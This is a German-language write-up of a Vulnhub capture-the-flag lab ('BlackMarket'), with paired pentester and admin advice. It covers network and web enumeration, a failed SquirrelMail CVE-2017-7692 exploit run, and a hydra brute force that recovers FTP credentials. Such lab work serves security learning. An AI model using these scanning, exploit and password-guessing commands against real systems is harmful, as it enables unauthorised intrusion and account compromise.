BlackMarket - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
gobuster
curl
nmap
ftp
searchsploit
cewl
hydra
sqlmap
dirb
strings
nc (netcat)
find
getcap
su
sudo
cat
< -- Base64 Decoder (Web) --> < -- Hex Decoder (Web) -->

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt ist die Identifizierung des Ziels im lokalen Netzwerk. Wir verwenden `arp-scan -l`, um ARP-Anfragen zu senden und aktive Hosts aufzulisten.

Bewertung: `arp-scan` findet erfolgreich einen Host mit der IP 192.168.2.106. Die zugehörige MAC-Adresse (08:00:27:2b:c8:27) weist auf "PCS Systemtechnik GmbH" hin, ein typischer Indikator für eine VirtualBox-VM. Wir haben unser Ziel identifiziert.

Empfehlung (Pentester): Die IP 192.168.2.106 als Ziel für alle weiteren Schritte verwenden.
Empfehlung (Admin): Ein aktuelles Inventar der Netzwerkgeräte pflegen. Ungewöhnliche ARP-Scan-Aktivitäten überwachen.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.106	08:00:27:2b:c8:27	PCS Systemtechnik GmbH

Analyse: Um die Handhabung zu erleichtern, fügen wir einen Eintrag für das Zielsystem in unsere lokale `/etc/hosts`-Datei ein. Mit `vi` weisen wir der IP 192.168.2.106 den Hostnamen `blackmarket.vuln` zu.

Bewertung: Dies ist eine reine Bequemlichkeitsmaßnahme, die es uns erlaubt, `blackmarket.vuln` statt der IP zu verwenden. Es vereinfacht die Befehlseingabe und verringert Tippfehler.

Empfehlung (Pentester): Die Verwendung von Hostnamen in `/etc/hosts` ist bei längeren Tests empfehlenswert.
Empfehlung (Admin): Keine direkten Maßnahmen nötig, solange interne Systeme nicht unsicher von lokaler Namensauflösung abhängen.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Relevanter Eintrag nach Bearbeitung:
192.168.2.106	   blackmarket.vuln

Analyse: Wir führen einen ersten Scan des Webservers auf Port 80 mit Nikto durch. Nikto sucht nach bekannten Schwachstellen, Fehlkonfigurationen, interessanten Dateien und veralteter Software.

Bewertung: Nikto liefert mehrere wichtige Informationen:

Die veraltete Apache-Version, das Vorhandensein von SquirrelMail und die Login-Seiten sind die wichtigsten Funde.

Empfehlung (Pentester): Die Apache-Version 2.4.7 auf bekannte Exploits prüfen. SquirrelMail gezielt untersuchen (Version? Bekannte Schwachstellen?). Die gefundenen Pfade (`/admin/script.php`, `/login.php`) und die SquirrelMail-Installation mit weiteren Tools (Gobuster, Dirb) und manuell analysieren. Nach XSS-Schwachstellen suchen, um das `PHPSESSID`-Cookie zu stehlen.
Empfehlung (Admin): Apache dringend auf die neueste stabile Version aktualisieren. Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`) hinzufügen. Das `HttpOnly`-Flag für alle Session-Cookies setzen. SquirrelMail aktualisieren oder entfernen, falls nicht benötigt. Zugriff auf Standard-Apache-Dateien beschränken.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.106
 
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2023-06-17 00:00:39 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /admin/script.php: This might be interesting: has been seen in web logs from an unknown scanner.
+ /squirrelmail/src/read_body.php: Cookie SQMSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /squirrelmail/src/read_body.php: SquirrelMail found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-06-17 00:00:49 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Wir untersuchen den Quellcode der SquirrelMail-Login-Seite (`http://192.168.2.106/squirrelmail/src/login.php`).

Bewertung: Im JavaScript-Code finden wir einen Anti-Clickjacking-Schutz. Wenn die Seite in einem Frame geladen wird, der nicht zur selben Domain gehört, versucht sie, den Benutzer auszuloggen und zur Haupt-Login-Seite weiterzuleiten. Dies ist eine standardmäßige Sicherheitsmaßnahme und für uns momentan nicht direkt ausnutzbar, aber gut zu wissen.

Empfehlung (Pentester): Den Anti-Clickjacking-Schutz zur Kenntnis nehmen. Falls Clickjacking-Angriffe geplant waren, müssen diese nun raffinierter gestaltet werden oder sind möglicherweise nicht durchführbar. Fokus auf andere Schwachstellen in SquirrelMail legen.
Empfehlung (Admin): Der implementierte Anti-Clickjacking-Schutz ist eine gute Basismaßnahme. Moderne Browser unterstützen auch den `X-Frame-Options`-Header oder `Content-Security-Policy`-Direktiven (frame-ancestors), die oft effektiver sind und serverseitig konfiguriert werden sollten.

# (Kein Befehl, Ansicht des Quellcodes im Browser)
 view-source:http://192.168.2.106/squirrelmail/src/login.php
  
if (self != top) {
    try {
        // This condition will throw an error if the parent has a different origin
        // It is mostly for IE, but may also catch other browsers that don't yet
        // support document.domain in violation of the Same Origin Policy
        // See https://www.whatwg.org/specs/web-apps/current-work/multipage/origin-0.html#same-origin
        if (document.domain != top.document.domain) {
            // NOTE: this code should never execute - exception should already have been thrown
            //       since it's a security violation in this case to even try to access
            //       top.document.domain (but it's left here just to be extra safe)
            throw "Clickjacking security violation! Please log out immediately!";
        }
    } catch (e) {
        // Violations cause an error and are redirected to logout
        self.location = "/squirrelmail/src/signout.php";
        top.location = "/squirrelmail/src/signout.php";
    }
}
 

Analyse: Wir verwenden Gobuster, um Verzeichnisse und Dateien auf dem Webserver zu bruteforcen. Wir nutzen eine gängige Wortliste und eine breite Palette von Dateierweiterungen.

Bewertung: Gobuster liefert eine Fülle von Ergebnissen und bestätigt viele von Nikto gefundene Pfade, fügt aber auch neue hinzu:

Besonders interessant sind die Verzeichnisse `/upload/`, `/admin/`, `/db/` und die vielen PHP-Dateien.

Empfehlung (Pentester): Die gefundenen Verzeichnisse und Dateien systematisch untersuchen:


Empfehlung (Admin): Sicherstellen, dass keine unnötigen Verzeichnisse oder Dateien über den Webserver erreichbar sind. Upload-Funktionen sicher implementieren (Dateityp-Prüfung, Speicherort außerhalb des Web-Roots, Berechtigungen). Datenbank-Backups oder Konfigurationsdateien nicht im Web-Root ablegen. Quellcode von PHP-Anwendungen auf Schwachstellen überprüfen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.106 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.106
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              ... (siehe Befehl) ...
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/06/17 00:05:15 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.106/index.php            (Status: 200) [Size: 2433]
http://192.168.2.106/login.php            (Status: 200) [Size: 0]
http://192.168.2.106/user                 (Status: 301) [Size: 312] [--> http://192.168.2.106/user/]
http://192.168.2.106/header.php           (Status: 200) [Size: 1031]
http://192.168.2.106/admin                (Status: 301) [Size: 313] [--> http://192.168.2.106/admin/]
http://192.168.2.106/upload               (Status: 301) [Size: 314] [--> http://192.168.2.106/upload/]
http://192.168.2.106/css                  (Status: 301) [Size: 311] [--> http://192.168.2.106/css/]
http://192.168.2.106/db                   (Status: 301) [Size: 310] [--> http://192.168.2.106/db/]
http://192.168.2.106/screenshot.png       (Status: 200) [Size: 359166]
http://192.168.2.106/vendor               (Status: 301) [Size: 314] [--> http://192.168.2.106/vendor/]
http://192.168.2.106/dist                 (Status: 301) [Size: 312] [--> http://192.168.2.106/dist/]
http://192.168.2.106/script.php           (Status: 200) [Size: 611]
http://192.168.2.106/squirrelmail         (Status: 301) [Size: 320] [--> http://192.168.2.106/squirrelmail/]
http://192.168.2.106/supplier             (Status: 301) [Size: 316] [--> http://192.168.2.106/supplier/]
http://192.168.2.106/conn.php             (Status: 200) [Size: 0]
http://192.168.2.106/dist/css             (Status: 301) [Size: 316] [--> http://192.168.2.106/dist/css/]
http://192.168.2.106/dist/js              (Status: 301) [Size: 315] [--> http://192.168.2.106/dist/js/]
http://192.168.2.106/vendor/jquery        (Status: 301) [Size: 321] [--> http://192.168.2.106/vendor/jquery/]
http://192.168.2.106/user/index.php       (Status: 302) [Size: 0] [--> ../index.php]
http://192.168.2.106/user/search.php      (Status: 302) [Size: 0] [--> ../index.php]
http://192.168.2.106/user/history.php     (Status: 302) [Size: 0] [--> ../index.php]
http://192.168.2.106/user/header.php      (Status: 200) [Size: 861]
http://192.168.2.106/user/logout.php      (Status: 302) [Size: 0] [--> ../index.php]
http://192.168.2.106/user/script.php      (Status: 200) [Size: 633]
http://192.168.2.106/user/checkout.php    (Status: 302) [Size: 0] [--> ../index.php]
http://192.168.2.106/user/navbar.php      (Status: 200) [Size: 2292]
http://192.168.2.106/user/session.php     (Status: 302) [Size: 0] [--> ../index.php]
http://192.168.2.106/user/search_result.php (Status: 302) [Size: 0] [--> ../index.php]
http://192.168.2.106/user/plist.php       (Status: ???) [Size: ???] // Annahme: Gobuster läuft weiter oder wurde abgebrochen

===============================================================
2023/06/17 00:15:01 Finished
===============================================================
 

Analyse: Wir rufen die von Gobuster gefundene Datei `header.php` direkt mit `curl` ab, um ihren Inhalt zu sehen.

Bewertung: Die Datei enthält HTML-Code und den Text "BlackMarket Weapon Management System". Dies bestätigt den Namen der Anwendung, der auch schon im Nmap-Scan als HTTP-Titel erschien. Der direkte Abruf liefert keine direkten Schwachstellen, bestätigt aber, dass die Datei existiert und Code enthält.

Empfehlung (Pentester): Den Quellcode der `header.php` (und anderer PHP-Dateien) genauer analysieren, falls möglich (z.B. durch LFI oder wenn der Code anderweitig zugänglich wird).
Empfehlung (Admin): Sicherstellen, dass PHP-Dateien, die nicht als Einstiegspunkte gedacht sind, nicht direkt aufgerufen werden können oder zumindest keine sensiblen Operationen ohne korrekte Initialisierung durchführen.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.106/header.php
 
< -- HTML Code der header.php -->
...
BlackMarket Weapon Management System
...
 

Analyse: Wir führen einen erneuten, detaillierten Nmap-Scan durch, diesmal gezielt gegen die bekannten oder vermuteten offenen Ports, und verwenden wieder die Optionen für Skript-Scanning (`-sC`), Versionserkennung (`-sV`) und umfassende Analyse (`-A`). `-Pn` wird hinzugefügt, um den Host-Discovery-Ping-Scan zu überspringen (wir wissen bereits, dass der Host online ist).

Bewertung: Dieser Scan bestätigt die bereits offenen Ports und liefert detailliertere Versionsinformationen und Ergebnisse der Nmap-Skripte:

Die wichtigsten neuen Informationen sind die genauen Versionen von vsftpd, OpenSSH und Dovecot sowie die Bestätigung der Mail-Dienste.

Empfehlung (Pentester): Die spezifischen Versionen (vsftpd 3.0.2, OpenSSH 6.6.1p1, Dovecot) auf bekannte Exploits prüfen (z.B. mit `searchsploit`). Versuchen, die Mail-Dienste (IMAP/POP3) oder SquirrelMail mit gefundenen Zugangsdaten anzugreifen. Authentifizierte Logins bei FTP und SSH versuchen.
Empfehlung (Admin): Alle Dienste (vsftpd, OpenSSH, Apache, Dovecot) auf die neuesten stabilen Versionen aktualisieren. Selbstsignierte Zertifikate durch gültige Zertifikate ersetzen, falls die Dienste extern erreichbar sein sollen. Unnötige Dienste (falls zutreffend) deaktivieren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -Pn -A 192.168.2.106 -p 21,22,80,110,143,993,995
< -- Annahme: Ports wurden spezifiziert -->
 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 00:18 CEST
Nmap scan report for blackmarket.vuln (192.168.2.106)
Host is up (0.00011s latency).

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.2
22/tcp  open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 a9:98:84:aa:90:7e:f1:e6:be:c0:84:3e:fa:aa:83:8a (DSA)
|   2048 07:5c:77:15:30:5a:17:95:8e:0f:91:f0:2d:0b:c3:7a (RSA)
|   256 2f:9c:29:b5:f5:dc:f4:95:07:6d:41:ee:f9:0d:15:b8 (ECDSA)
|_  256 24:ac:30:c7:79:7f:43:cc:fc:23:df:ea:db:bb:4a:cc (ED25519)
80/tcp  open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-title: BlackMarket Weapon Management System
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.7 (Ubuntu)
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN LOGIN) STLS TOP AUTH-RESP-CODE UIDL PIPELINING CAPA RESP-CODES
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
143/tcp open  imap     Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
|_imap-capabilities: STARTTLS more LITERAL+ IDLE LOGIN-REFERRALS listed ENABLE ID capabilities Pre-login have SASL-IR IMAP4rev1 LOGIN-DISABLED LOGINDISABLEDA0001 post-login
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
|_imap-capabilities: more LITERAL+ IDLE LOGIN-REFERRALS listed AUTH=PLAINA0001 ID capabilities Pre-login have SASL-IR IMAP4rev1 ENABLE post-login
|_ssl-date: TLS randomness does not represent time
995/tcp open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2017-11-01T07:05:35
|_Not valid after:  2027-11-01T07:05:35
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN LOGIN) USER TOP AUTH-RESP-CODE UIDL PIPELINING CAPA RESP-CODES
MAC Address: 08:00:27:2B:C8:27 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms blackmarket.vuln (192.168.2.106)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
 
< -- Korrigierte Nmap-Ausgabe -->

Analyse: Wir versuchen, uns anonym beim FTP-Dienst (vsftpd 3.0.2) auf Port 21 anzumelden.

Bewertung: Der Versuch schlägt fehl (`530 Login incorrect.`). Anonymer Zugriff ist auf diesem FTP-Server nicht erlaubt. Wir benötigen gültige Benutzerdaten.

Empfehlung (Pentester): Nach Benutzernamen und Passwörtern suchen (z.B. aus Web-Enumeration, anderen Diensten, Brute-Force gegen gefundene Benutzernamen).
Empfehlung (Admin): Die Deaktivierung des anonymen FTP-Zugriffs ist eine gute Sicherheitspraxis und sollte beibehalten werden, es sei denn, es gibt einen spezifischen Grund dafür.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.106
 
Connected to 192.168.2.106.
220 (vsFTPd 3.0.2)
Name (192.168.2.106:cyber): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.
 

Analyse: Wir verwenden `searchsploit`, ein Kommandozeilen-Tool zur Suche in der Exploit-DB-Datenbank, um nach bekannten Schwachstellen für "Dovecot", den laufenden IMAP/POP3-Server, zu suchen.

Bewertung: Searchsploit findet drei Einträge:

Da wir nicht wissen, ob Exim verwendet wird, und unsere Dovecot-Version wahrscheinlich neuer ist als 1.1.x, ist keiner dieser Exploits direkt vielversprechend, aber der RCE-Eintrag (25297.txt) könnte interessante Techniken enthalten.

Empfehlung (Pentester): Den Exploit 25297.txt mit `searchsploit -m` kopieren und analysieren, ob die Technik anwendbar ist oder Hinweise gibt. Die Suche nach Exploits für die spezifische Dovecot-Version (die Nmap nicht genau ermitteln konnte) fortsetzen.
Empfehlung (Admin): Dovecot auf die neueste Version aktualisieren. Konfiguration überprüfen, insbesondere im Zusammenspiel mit dem Mail Transfer Agent (MTA, z.B. Postfix, Exim).

┌──(root㉿cyber)-[~] └─# searchsploit "Dovecot"
 
------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                       |  Path
------------------------------------------------------------------------------------- ---------------------------------
Dovecot 1.1.x - Invalid Message Address Parsing Denial of Service                    | linux/dos/32551.txt
Dovecot IMAP 1.0.10 < 1.1rc2 - Remote Email Disclosure                               | multiple/remote/5257.py
Dovecot with Exim - 'sender_address' Remote Command Execution                        | linux/remote/25297.txt
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
 

Analyse: Wir kopieren die Datei des Dovecot/Exim RCE-Exploits aus der Exploit-DB in unser aktuelles Verzeichnis zur genaueren Untersuchung.

Bewertung: Dieser Schritt dient der Vorbereitung zur Analyse des Exploit-Textes.

Empfehlung (Pentester): Den Inhalt der Datei `25297.txt` lesen und prüfen, ob die beschriebene Schwachstelle oder Technik relevant ist.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

┌──(root㉿cyber)-[~] └─# searchsploit -m linux/remote/25297.txt
 
  Exploit: Dovecot with Exim - 'sender_address' Remote Command Execution
      URL: https://www.exploit-db.com/exploits/25297
     Path: /usr/share/exploitdb/exploits/linux/remote/25297.txt
    Codes: SVDB-93004
 Verified: False
File Type: Unicode text, UTF-8 text

Copied to: /root/25297.txt
 

Analyse: Der Pentester führt hier ein Shell-Skript (`SquirrelMail_RCE_exploit.sh`) aus, das offenbar einen bekannten Exploit für SquirrelMail (CVE-2017-7692) implementiert. Dieser Exploit nutzt eine Schwachstelle in der Art und Weise, wie SquirrelMail die `sendmail`-Anwendung aufruft, um Remote Code Execution zu ermöglichen, wenn bestimmte Konfigurationen vorliegen. Das Skript scheint zu versuchen, sich anzumelden und eine manipulierte Sendmail-Konfiguration hochzuladen.

Bewertung: Der Exploitversuch scheint hier fehlzuschlagen oder unvollständig zu sein. Er fragt nach Benutzerdaten (`hacker`/leer) und meldet "Logging in..." und "Uploading Sendmail config", aber es gibt keine Erfolgsmeldung oder Shell. Möglicherweise sind die eingegebenen Benutzerdaten falsch, SquirrelMail ist nicht verwundbar konfiguriert, oder der Exploit funktioniert in dieser Umgebung nicht. Dieser Angriffsweg scheint vorerst nicht erfolgreich.

Empfehlung (Pentester): Den Exploit-Versuch mit gültigen Benutzerdaten wiederholen, falls welche gefunden werden. Prüfen, ob die Voraussetzungen für CVE-2017-7692 erfüllt sind (spezifische SquirrelMail-Version, Konfiguration). Andere Angriffsvektoren weiterverfolgen.
Empfehlung (Admin): SquirrelMail auf die neueste Version aktualisieren oder entfernen. Sicherstellen, dass die Mailserver-Konfiguration (insbesondere die Übergabe von Parametern an `sendmail` oder Äquivalente) sicher ist und keine Befehlsinjektionen ermöglicht.

┌──(root㉿cyber)-[~] └─# ./SquirrelMail_RCE_exploit.sh http://192.168.2.106/squirrelmail/src/login.php
 

     __                     __   __  __           __
    / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
   / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
  / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )
 /_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/
           /____/

SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692)

SquirrelMail_RCE_exploit.sh (ver. 1.1)

Discovered and coded by

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

ExploitBox project:
https://ExploitBox.io



[*] Enter SquirrelMail user credentials
user: hacker
pass:

[*] Logging in to SquirrelMail at http://192.168.2.106/squirrelmail/src/login.php
[*] Uploading Sendmail config
# (Keine weitere Ausgabe, Exploit scheint hier zu enden oder fehlzuschlagen)
 

Initial Access (FTP)

Analyse: Der Pentester untersucht erneut den Quellcode der `index.php` und findet einen HTML-Kommentar: `<!-- flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->`. Der Inhalt ist Base64-kodiert.

Bewertung: Dies ist ein weiterer wichtiger Fund! Ein Base64-String, der im Quellcode versteckt ist. Wir dekodieren `Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=` (z.B. mit einem Online-Decoder oder `echo "Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=" | base64 -d`). Das Ergebnis ist `CIA - Operation Treadstone`. Dies ist ein klarer Hinweis auf die Bourne-Filmreihe und liefert uns Keywords ("CIA", "Operation Treadstone"), die für die Passwortsuche relevant sein könnten.

Empfehlung (Pentester): Die dekodierten Keywords "CIA" und "Operation Treadstone" verwenden:


Empfehlung (Admin): Keine Flags oder sensiblen Hinweise (auch nicht kodiert) im Quellcode von Webseiten hinterlassen. Kommentare sollten nur für Entwickler relevante, nicht-sicherheitskritische Informationen enthalten.

# (Kein Befehl, Ansicht des Quellcodes im Browser)
 
  view-source:http://192.168.2.106/index.php  
...
 -- DataTables JavaScript -->
  -- flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->
...
 

Analyse: Der Base64-String `Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=` wird dekodiert.

Bewertung: Die Dekodierung ergibt `CIA - Operation Treadstone`. Dies liefert uns thematische Keywords.

Empfehlung (Pentester): Keywords für Passwortgenerierung/-suche nutzen.
Empfehlung (Admin): Keine kodierten Hinweise im Quellcode hinterlassen.

# (Kein Befehl, Verwendung eines Base64-Decoders)
 
Input: Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=
Output: CIA - Operation Treadstone
 

Analyse: Wir verwenden `cewl`, ein Tool, das Webseiten durchsucht (crawlt) und daraus eine Wortliste generiert. Wir zielen auf die Fandom-Wiki-Seite zu "Operation Treadstone", um eine themenspezifische Wortliste zu erstellen.

(Anmerkung: Im nächsten Schritt wird `dict.txt` verwendet, möglicherweise ein Tippfehler oder es gab eine vorherige/andere Liste).

Bewertung: Dies ist eine gute Technik, um kontextspezifische Wortlisten zu erstellen, die relevantere Passwortkandidaten enthalten könnten als generische Listen. Die Effektivität hängt davon ab, ob die Entwickler des Systems Passwörter verwendet haben, die mit dem Thema "Bourne/Treadstone" zusammenhängen.

Empfehlung (Pentester): Die generierte Wortliste (`dict2.txt` oder `dict.txt`) in Kombination mit gefundenen Benutzernamen für Brute-Force-Angriffe verwenden (z.B. mit Hydra).
Empfehlung (Admin): Passwortrichtlinien durchsetzen, die die Verwendung von thematisch naheliegenden Wörtern (Projektname, Firmenname etc.) verbieten.

┌──(root㉿cyber)-[~] └─# cewl https://bourne.fandom.com/wiki/Operation_Treadstone -d 2 -w dict2.txt
 
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
# (Ausgabe des Crawling-Prozesses) ...
# Wortliste dict2.txt wird erstellt.
 

Analyse: Wir starten einen Brute-Force-Angriff mit Hydra gegen den FTP-Dienst (Port 21).

Bewertung: Erfolg! Hydra findet eine gültige Kombination: Benutzer `nicky` mit dem Passwort `CIA`. Das Passwort stammt direkt aus dem dekodierten Hinweis im HTML-Quellcode. Die Verwendung der `cewl`-Liste oder einer anderen `dict.txt` war hier entscheidend, um den Benutzernamen `nicky` zu finden.

Empfehlung (Pentester): Sich sofort mit den gefundenen Zugangsdaten (`nicky`/`CIA`) per FTP anmelden und das Dateisystem untersuchen.
Empfehlung (Admin): Keine einfachen, thematisch naheliegenden Passwörter wie "CIA" verwenden. Brute-Force-Schutzmechanismen wie Fail2Ban für FTP implementieren.

┌──(root㉿cyber)-[~] └─# hydra -L dict.txt -P dict.txt ftp://blackmarket.vuln:21 -t 64
 
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *ssholes ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-17 01:04:38
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore will be created. Click ^C to abort.
[DATA] max 64 tasks per 1 server, overall 64 tasks, 50836900 login tries (l:7130/p:7130), ~794327 tries per task
[DATA] attacking ftp://blackmarket.vuln:21/
[STATUS] 164.00 tries/min, 164 tries in 00:01h, Ratio 0.00
...
[21][ftp] host: blackmarket.vuln   login: nicky   password: CIA
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-17 01:05:10
 

Analyse: Wir melden uns mit den gerade gefundenen Zugangsdaten (`nicky`/`CIA`) per FTP an. Anschließend untersuchen wir das Dateisystem mit `ls -la`, wechseln in das `ftp`-Verzeichnis, dann in `ImpFiles` und laden die dort gefundene Datei `IMP.txt` mit `get` herunter. Wir testen auch, ob wir Verzeichnisse außerhalb des Home-Verzeichnisses (`/home`, `/var`) oder des `ftp`-Verzeichnisses wechseln können und ob wir Schreibrechte haben (`put ben.php`).

Bewertung: Der Login ist erfolgreich. Wir befinden uns im Home-Verzeichnis von `nicky`. Innerhalb des Unterverzeichnisses `ftp/ImpFiles` finden wir die interessante Datei `IMP.txt`, die wir herunterladen können. Versuche, in Systemverzeichnisse wie `/home` oder `/var` zu wechseln, scheitern (`550 Failed to change directory`), was auf eine Chroot-Umgebung oder eingeschränkte Berechtigungen hindeutet. Der Versuch, eine Datei hochzuladen, scheitert ebenfalls (`550 Permission denied`). Wir haben also nur Lesezugriff innerhalb der erlaubten Verzeichnisse.

Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `IMP.txt` analysieren.
Empfehlung (Admin): Die FTP-Konfiguration überprüfen. Chrooting ist eine gute Praxis, um Benutzer auf ihre Home-Verzeichnisse zu beschränken. Sicherstellen, dass Dateiberechtigungen korrekt gesetzt sind und Benutzer nicht schreiben können, wo es nicht vorgesehen ist.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.106
 
Connected to 192.168.2.106.
220 (vsFTPd 3.0.2)
Name (192.168.2.106:cyber): nicky
331 Please specify the password.
Password: CIA
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||26562|).
150 Here comes the directory listing.
dr-xr-xr-x    4 1002     1002         4096 Nov 06  2017 .
drwxr-xr-x    4 0        0            4096 Nov 06  2017 ..
-rw-r--r--    1 1002     1002          220 Nov 06  2017 .bash_logout
-rw-r--r--    1 1002     1002         3637 Nov 06  2017 .bashrc
drwxr-xr-x    2 1002     1002         4096 Nov 06  2017 .cache
-rw-r--r--    1 1002     1002          675 Nov 06  2017 .profile
drwxr-xr-x    3 65534    65534        4096 Nov 06  2017 ftp
226 Directory send OK.
ftp> cd ftp
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||65388|).
150 Here comes the directory listing.
drwxr-xr-x    3 65534    65534        4096 Nov 06  2017 .
dr-xr-xr-x    4 1002     1002         4096 Nov 06  2017 ..
drwxr-xr-x    2 1002     1002         4096 Nov 09  2017 ImpFiles
226 Directory send OK.
ftp> cd ImpFiles
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||62710|).
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Nov 09  2017 .
drwxr-xr-x    3 65534    65534        4096 Nov 06  2017 ..
-rw-r--r--    1 0        0             216 Nov 12  2017 IMP.txt
226 Directory send OK.
ftp> get IMP.txt
local: IMP.txt remote: IMP.txt
229 Entering Extended Passive Mode (|||36972|).
150 Opening BINARY mode data connection for IMP.txt (216 bytes).
100% |***********************************************************************************|   216      775.50 KiB/s    00:00 ETA
226 Transfer complete.
216 bytes received in 00:00 (435.82 KiB/s)
ftp> cd /home
550 Failed to change directory.
ftp> cd /var
